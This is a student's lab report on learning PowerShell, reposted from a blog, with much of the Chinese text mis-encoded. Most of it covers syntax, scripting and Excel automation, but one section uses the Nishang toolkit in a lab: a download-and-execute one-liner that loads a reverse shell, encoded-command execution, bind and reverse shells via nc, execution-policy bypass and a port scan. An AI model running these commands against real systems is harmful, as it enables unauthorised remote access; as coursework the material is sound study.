2018~2019-11 20165107 网络对抗技术期末免考 Exp10 Final Powershell学习应用与渗透实践...
20165107 網(wǎng)絡(luò)對(duì)抗技術(shù)免考 Exp10 Final? Powershell學(xué)習(xí)應(yīng)用與滲透實(shí)踐
目錄
1.Powershell入門相關(guān)知識(shí)
- Powershell簡(jiǎn)介
- Powershell命令
- Powershell語法
- Powershell函數(shù)
- Powershell管道
- powershell特性介紹
2.Powershell腳本
- 腳本編寫和運(yùn)行操作
- 簡(jiǎn)單腳本實(shí)現(xiàn)
3.Powershell惡意代碼攻擊及簡(jiǎn)單滲透測(cè)試
- 常見攻擊工具簡(jiǎn)介
- TCP交互式Shell滲透測(cè)試
- 利用腳本在主機(jī)內(nèi)網(wǎng)端口掃描測(cè)試?
4. PowerShell其他應(yīng)用
- Office互操作
- 編寫簡(jiǎn)單腳本并形成工具供他人使用
5.實(shí)驗(yàn)總結(jié)與體會(huì)
報(bào)告正文
1.Powershell入門相關(guān)知識(shí)
1.1.Powershell簡(jiǎn)介
Powershell不僅僅是一門腳本語言,也是一種運(yùn)行命令行的工具,它對(duì)編程基礎(chǔ)要求不高,沒有任何基礎(chǔ)的人也都可以學(xué)習(xí)。Powershell的應(yīng)用給Windows系統(tǒng)的使用者提供了許多自動(dòng)化管理系統(tǒng)的方法。Powershell是以.Net Framework為技術(shù)基礎(chǔ),依托.Net Framework框架,擁有能夠訪問整個(gè).Net Framework底層的能力。
Powershell的誕生源于對(duì)Unix Shell的追逐,因?yàn)?span lang="en-us">Unix擁有強(qiáng)大的Shell,比如sh、bash以及csh,而Windows的Cmd功能相差甚遠(yuǎn)。2016年8月,微軟開放了Powershell的源代碼,并表示將支持Linux系統(tǒng)。
打開Powershell有兩種方法,一是使用“Win+R”組合按鍵打開運(yùn)行窗口,輸入“Powershell”,然后按回車鍵打開;二是使用開始菜單,打開附件、Powershell。
*檢查本機(jī)Powershell版本號(hào)
1.2Powershell命令
Powershell有很多不同類型的命令,部分叫做Cmdlet,每一個(gè)Cmdlet在Powershell上唯一,除了這些內(nèi)置的Cmdlet,Powershell還可以使用外置命令行命令,就是我們經(jīng)常在Cmd上使用的那些命令。舉例,Powershell使用外置Ping命令來檢查本地主機(jī)的內(nèi)網(wǎng)連通狀況,使用時(shí)將在后臺(tái)開啟Cmd.exe。
Powershell命名習(xí)慣為“動(dòng)詞—名詞”,這樣有助于我們準(zhǔn)確猜解命令含義,便于加深對(duì)命令的理解。但這些命令相較于Cmd依然過長(zhǎng),輸入命令過長(zhǎng)且易輸錯(cuò),所以誕生了別名,簡(jiǎn)短而方便輸入。還有一種比較長(zhǎng)的命令,Powershell可以直接調(diào)用.Net Frame 底層功能,其內(nèi)在支持著許多的.NET對(duì)象。
可以通過“Get-Alias -name別名”查詢別名所指的真實(shí)cmdlet命令。
1.3Powershell語法
(1)變量
變量都是以$開頭的,剩余字符可以是數(shù)字、字母、下劃線的任意字符,且不區(qū)分大小寫。
變量賦值符=,其幾乎可以把任何數(shù)據(jù)賦值給一個(gè)變量。舉例,交換兩個(gè)變量的值。
自動(dòng)變量:一旦打開Powershell就會(huì)自動(dòng)加載的變量;列表傳送->。
指定類型定義變量:[變量類型]$變量名
(2)數(shù)組
創(chuàng)建數(shù)組: $array = 1,2,3,4
$array = 1..4
$a=@() # 空數(shù)組
$a=,"1" # 一個(gè)元素的數(shù)組
訪問數(shù)組: $array[0]
判斷一個(gè)變量是否為數(shù)組:$test -is [array]
數(shù)組的追加:$books += "元素4"
強(qiáng)類型數(shù)組:[int[]] $nums=@()
(3)條件判斷
比較運(yùn)算符 :-eq:等于 -ne:不等于 -gt:大于 -ge:大于等于 -lt:小于 -le:小于等于 -contains:包含 -notcontains:不包含
布爾運(yùn)算 :-and:和 -or:或 -xor:異或 -not:逆
以及if-else語句、循環(huán)語句while。
1.4Powershell函數(shù)
(1)定義函數(shù)
函數(shù)的結(jié)構(gòu)由三部分組成:函數(shù)名,參數(shù),函數(shù)體
刪除函數(shù) :控制臺(tái)定義的函數(shù)只會(huì)在當(dāng)前會(huì)話生效,一旦控制臺(tái)退出,會(huì)自動(dòng)消失。在不關(guān)閉控制臺(tái)的條件下刪除一個(gè)已經(jīng)定義好的函數(shù),可是使用虛擬驅(qū)動(dòng)器的方法:del Function:函數(shù)名
(2)函數(shù)的參數(shù)
萬能參數(shù):給一個(gè)函數(shù)定義參數(shù)最簡(jiǎn)單的是使用$args這個(gè)內(nèi)置的參數(shù)。它可以識(shí)別任意個(gè)參數(shù)。尤其適用哪些參數(shù)可有可無的函數(shù)。
Return語句 :Powershell會(huì)將函數(shù)中所有的輸出作為返回值,但是也可以通過return語句指定具體的我返回值。Return語句會(huì)將指定的值返回,同時(shí)也會(huì)中斷函數(shù)的執(zhí)行,return后面的語句會(huì)被忽略。
(3)支持的函數(shù)
Powershell已經(jīng)提供了許多用戶能夠使用的預(yù)定義函數(shù),這些函數(shù)可以通過Function:PSDrive虛擬驅(qū)動(dòng)器查看
?
相關(guān)函數(shù)作用:
Clear-Host:清除屏幕的緩存
help,man:查看命令的幫助文檔
mkdir,md:通過new-Item創(chuàng)建子目錄
more:分屏輸出管道結(jié)果
prompt:返回提示文本
TabExpansion:Tab鍵的自動(dòng)完成提示
X:調(diào)用Set-Location定位到指定的驅(qū)動(dòng)器根目錄
?
1.5Powershell管道
管道將一個(gè)命令的輸出結(jié)果傳輸作為下一條命令輸入的一部分,聯(lián)合執(zhí)行新的命令。強(qiáng)大的管道功能使得命令的輸入變得簡(jiǎn)單,一個(gè)可能需要很多變量的才能完成的腳本命令,通過管道的運(yùn)用可能僅僅一個(gè)序列行就可以完成。舉例,運(yùn)用管道命令的形式將當(dāng)前路徑文件的信息以默認(rèn)的形式輸出在控制終端上。
?
1.6powershell特性介紹
Powershell將命令交互式環(huán)境與腳本結(jié)合在一起,從而擁有操作命令行和直接調(diào)用COM對(duì)象的能力。舉例,Powershell進(jìn)行數(shù)值計(jì)算可以看出它是一種交互式環(huán)境。
Powershell也有自己的開發(fā)環(huán)境,Powershell ISE 就扮演著集成開發(fā)的功能,可以在編程powershell程序時(shí)進(jìn)行編輯和調(diào)試。
?
2.Powershell腳本
2.1腳本編寫和運(yùn)行操作
Powershell腳本可以理解為含有Powershell代碼的文本文件,如果要執(zhí)行這個(gè)文本文件,Powershell解釋器會(huì)逐一解釋并執(zhí)行它的每一條語句。舉例,下面通過重定向創(chuàng)建Powershell腳本myscript.ps1。
顯示創(chuàng)建腳本文件成功!
2.2簡(jiǎn)單腳本實(shí)現(xiàn)
創(chuàng)建“5107good.ps1”腳本文件內(nèi)容
腳本內(nèi)容:
$a = "20165107 is good student"
$a
echo? $a > a.txt
dir a.txt
腳本的意思是:先定義了一個(gè)變量,然后輸出這個(gè)變量的結(jié)果,再將這個(gè)變量的值寫入文件a.txt,最后輸出這個(gè)文件的屬性信息。
運(yùn)行腳本:
?
要注意的是:在執(zhí)行過程中我遇到了系統(tǒng)禁止新創(chuàng)建腳本執(zhí)行的情況,這就要考慮Powershell的執(zhí)行策略了。腳本執(zhí)行策略是微軟為Powershell腳本執(zhí)行設(shè)置的一種安全選項(xiàng),為了防止用戶在被滲透注入的情況下,執(zhí)行一些破壞性腳本。如果遇到系統(tǒng)禁止新創(chuàng)建腳本執(zhí)行的情況,我們可以使用“Bypass”標(biāo)記執(zhí)行策略,繞過Powershell腳本執(zhí)行策略。
?
3. Powershell惡意代碼攻擊及簡(jiǎn)單滲透測(cè)試
3.1常見攻擊工具簡(jiǎn)介
Powershell的主要功能已經(jīng)可以運(yùn)用到攻擊入侵的各個(gè)階段,它的很多模塊已經(jīng)被列入白名單,從而進(jìn)行滲透測(cè)試、繞過防病毒檢測(cè)、保留持久性后門等等功能。例如,為避免被發(fā)現(xiàn),Powershell腳本可以動(dòng)態(tài)加載到內(nèi)存中,從而不接觸硬盤,在用戶計(jì)算機(jī)留下極少量的證據(jù)。常見的攻擊應(yīng)用工具有PowerSploit、Veil-Framework、NiShang、SET、Metasploit和Empire。
3.2使用常規(guī)應(yīng)用工具進(jìn)行Powershell惡意代碼攻擊——Nishang
3.2.1.準(zhǔn)備工作
我選擇Nishang工具進(jìn)行滲透攻擊,Nishang是基于PowerShell的滲透測(cè)試專用工具,它集成了框架、腳本和各種payload,被廣泛應(yīng)用于滲透測(cè)試的各個(gè)階段。在使用前,先檢查自己的powershell版本,要在v3以上才能使用。使用“get-host”命令查詢。
以powershell管理員身份進(jìn)入相應(yīng)目錄下,導(dǎo)入框架:Import-Module .\nishang.psm1,這里又存在執(zhí)行策略的問題,要記得對(duì)執(zhí)行策略進(jìn)行修改。
導(dǎo)入框架后,在使用對(duì)應(yīng)腳本時(shí),可以使用Get-Help 腳本名稱 -full得到一些使用提示。
有兩種在內(nèi)存當(dāng)中加載腳本的方式 :
第一種:
powershell iex (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.](IEX為遠(yuǎn)程下載腳本)
第二種:
使用Invoke-Encode腳本來將我們現(xiàn)有的腳本編碼壓縮:Invoke-Encode -DataToEncode "nishang-master\Shells\Invoke-PowerShellTcp.ps1" -OutCommand
在目標(biāo)上執(zhí)行:powershell -e [encodedscript]
3.2.2.滲透測(cè)試
(1)TCP交互式Shell
Invoke-PowerShellTcp是PowerShell交互式正向連接或反向連接shell,且基于TCP協(xié)議。
參數(shù)
-Port需要正向監(jiān)聽的端口或要反向連接的端口。
-Bind正向連接
-IPAddress選擇反向連接時(shí)需要連接到的IP地址
-Reverse反向連接
正向連接 :
在靶機(jī)運(yùn)行腳本,監(jiān)聽端口5107:Invoke-PowerShellTcp -Bind -Port 5107
使用nc連接到靶機(jī)端口5107:nc -nv 192.168.150.133 5107(這里IP為win7)
成功獲取到shell!
?
反向連接:
使用nc監(jiān)聽本地端口5107:nc -ltp 5107
在靶機(jī)上反彈shell:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.150.151 -Port 5107(這里IP為kali)
下面,我對(duì)此腳本進(jìn)行分析:
先使用Get-Help Invoke-PowerShellTcp -full查看信息
運(yùn)行參數(shù)部分:“reverse”默認(rèn)為反向連接,可選參數(shù)有reverse和bind兩種。
主函數(shù)部分:
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
函數(shù)的目的是在kali終端上顯示被攻擊主機(jī)的用戶名和主機(jī)名(主機(jī)型號(hào))。
(2)利用腳本在主機(jī)內(nèi)網(wǎng)進(jìn)行端口掃描?
利用Invoke-PortScan指令:PS?>Invoke-PortScan?-StartAddress?192.168.0.1?-EndAddress?192.168.150.1?-ResolveHost?-ScanPort?-Port?80 進(jìn)行端口掃描
掃描結(jié)果:(圖中還顯示了正在ping的過程)
對(duì)腳本進(jìn)行分析:
主要的參數(shù)有:
StartAddress?是掃描范圍開始的地址
EndAddress?掃描范圍結(jié)束的地址
ScanPort?進(jìn)行端口掃描
Port?指定掃描端口(默認(rèn)掃描端口:21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080等) TimeOut?設(shè)置超時(shí)時(shí)間
4. PowerShell其他應(yīng)用
4.1.Office互操作
PowerShell可以通過COM接口和Office程序交互,最常用的是操作Excel,下面我們開始學(xué)習(xí)操作Excel。
創(chuàng)建一個(gè)可見的Excel對(duì)象:$excel.Visible=$true
打開一個(gè)現(xiàn)成的工作簿:$workbook = $excel.Workbooks.Open("XXX.xlsx")
創(chuàng)建一個(gè)新的工作簿:$workbook = $excel.Workbooks.Add()
選擇某一個(gè)工作表(這里的下標(biāo)從一開始):$worksheet = $workbook.Worksheets.Item(1)
保存修改后的工作表:$workbook.SaveAs("D:\Desktop\hello.xlsx")
操作數(shù)據(jù):
利用以上語法我們對(duì)已存在的一個(gè)Excel表格進(jìn)行數(shù)據(jù)的寫入。
腳本demo.ps1為:
$excel = New-Object -ComObject Excel.Application
$workbook = $excel.Workbooks.Open("C:\Users\一林\Desktop\1.xlsx")
$worksheet = $workbook.Worksheets.Item(1)
for ($i = 1; $i -le 9; $i++) {
?? # 第一行
?? $worksheet.Cells.item(1, $i + 1) = $i
?? # 第一列
?? $worksheet.Cells.item($i + 1, 1) = $i
?? # 它們的乘積
?? for ($j = 1; $j -le 9; $j++) {
???? $worksheet.Cells.item($i + 1, $j + 1) = $i * $j
? }
}
再將excel表格中的數(shù)字顯示在powershell中,腳本demo2.ps1為:
$excel = New-Object -ComObject Excel.Application
$workbook = $excel.Workbooks.Open("C:\Users\一林\Desktop\1.xlsx")
$worksheet = $workbook.Worksheets.Item(1)
for ($i = 1; $i -le 10; $i++) {
?? for ($j = 1; $j -le 10; $j++) {
????? Write-Host -NoNewline $worksheet.Cells.item($i, $j).Text "`t"
?? }
?? Write-Host
}
執(zhí)行命令行,顯示出結(jié)果。
4.2自己編寫簡(jiǎn)單腳本并形成工具供他人使用
我們使用PowerShell自帶的開發(fā)工具PowerShell ISE來編寫腳本
我們首先借用WMI對(duì)象寫一個(gè)可以輸出計(jì)算機(jī)C盤信息的命令:Get-WmiObject win32_logicaldisk | ?{$_.DeviceID -like "C:"}
接下來我們指定某個(gè)計(jì)算機(jī):Get-WmiObject -computername localhost -class win32_logicaldisk | ?{$_.DeviceID -like "C:"}
我們的目的是寫好腳本給別人,對(duì)方直接調(diào)用這個(gè)腳本后直接輸入命令,這樣就可以實(shí)現(xiàn)上述功能:輸出計(jì)算機(jī)C盤信息的命令。
我所寫的腳本內(nèi)容為:
<#
.Synopsis
?? This is for diskinfo
.DESCRIPTION
?? This is for remote computer
.EXAMPLE
?? diskinfo -computername remote
#>
function Get-diskinfo
{
? [CmdletBinding()]
? Param
? (
????? # Param 幫助描述
????? [Parameter(Mandatory=$true)]
????? [string[]]$ComputerName,
????? $bogus
? )
? Get-WmiObject -computername $ComputerName -class win32_logicaldisk | ?{$_.DeviceID -like "C:"}
}
?
現(xiàn)在,我們可以使用這個(gè)寫好的腳本運(yùn)行
調(diào)用腳本:. .\Diskinfo.ps1 ?
使用:get-diskinfo -ComputerName localhost
結(jié)果顯示腳本運(yùn)行成功。
?
5.實(shí)驗(yàn)總結(jié)與體會(huì)
? ? ?? 本次免考我做的題目是powershell基礎(chǔ)學(xué)習(xí)與應(yīng)用以及利用powershell腳本進(jìn)行簡(jiǎn)單的滲透攻擊。在準(zhǔn)備題目的過程中,我查閱了有關(guān)powershell語言和腳本的編寫方法,接觸到powershell的很多應(yīng)用,感受到微軟powershell功能的強(qiáng)大,同時(shí)也發(fā)現(xiàn)powershell存在著很多漏洞,這也讓powershell成為黑客、白帽子攻擊和研究的重點(diǎn)對(duì)象,而微軟也發(fā)現(xiàn)了powershell的安全風(fēng)險(xiǎn),所以默認(rèn)限制了powershell運(yùn)行腳本的權(quán)限,所以我在實(shí)驗(yàn)過程中首先就要更改powershell的腳本執(zhí)行權(quán)限。針對(duì)powershell攻擊,市面上已經(jīng)有多款成熟的應(yīng)用,比如我所選擇的Nishang,就是各種攻擊腳本的集合,在實(shí)驗(yàn)中我只進(jìn)行了最簡(jiǎn)單的滲透攻擊,其實(shí)它含有的攻擊手段和應(yīng)用還有很多很多……免考讓我重新認(rèn)識(shí)了powershell,之前我對(duì)powershell的印象還是和cmd差不多的簡(jiǎn)單的命令窗口之類的東西,經(jīng)過免考題目的準(zhǔn)備和學(xué)習(xí),我對(duì)powershell的認(rèn)識(shí)就像是打開了新世界的大門,總之免考內(nèi)容的學(xué)習(xí)令我收獲很大。
? ? ?? 當(dāng)然,一學(xué)期的網(wǎng)絡(luò)對(duì)抗課程結(jié)束了,時(shí)間真的好快!這門課給我與其他課程不同的感覺,雖然是選修,但我學(xué)的很認(rèn)真、很有動(dòng)力。因?yàn)榫W(wǎng)抗的知識(shí)和內(nèi)容不僅激發(fā)興趣,還大幅度提升了我上機(jī)操作的動(dòng)手實(shí)踐能力,每個(gè)實(shí)驗(yàn)成功后都有一種小成就感。我印象最深的是老師上課跟我們所強(qiáng)調(diào)的:“做實(shí)驗(yàn)前,一定要理清實(shí)驗(yàn)思路,明確每一步都在干什么,把握好大方向,出現(xiàn)問題研究錯(cuò)在哪里,找到問題產(chǎn)生原因并解決,千萬不能盲目地按步驟做,都不知道自己在做什么……我們不需要背指令,要有能查到、能看懂、現(xiàn)學(xué)現(xiàn)用的能力,站在巨人的肩膀上。”老師的話我銘記在心,因?yàn)樗鼈儾粌H僅能應(yīng)用在實(shí)驗(yàn)過程中啊,衷心感謝老師!網(wǎng)絡(luò)對(duì)抗課我收獲很大,它隸屬我的專業(yè)課,對(duì)日后學(xué)習(xí)工作都有幫助,我也會(huì)繼續(xù)學(xué)習(xí)網(wǎng)絡(luò)對(duì)抗相關(guān)知識(shí),不斷提升自己的網(wǎng)絡(luò)安全意識(shí)和信息安全技術(shù)水平。
?
轉(zhuǎn)載于:https://www.cnblogs.com/3523108059lyl/p/11121794.html
總結(jié)
以上是生活随笔為你收集整理的2018~2019-11 20165107 网络对抗技术期末免考 Exp10 Final Powershell学习应用与渗透实践...的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: # 起床困难综合症(二进制枚举+按位求贡
- 下一篇: 个人测试总结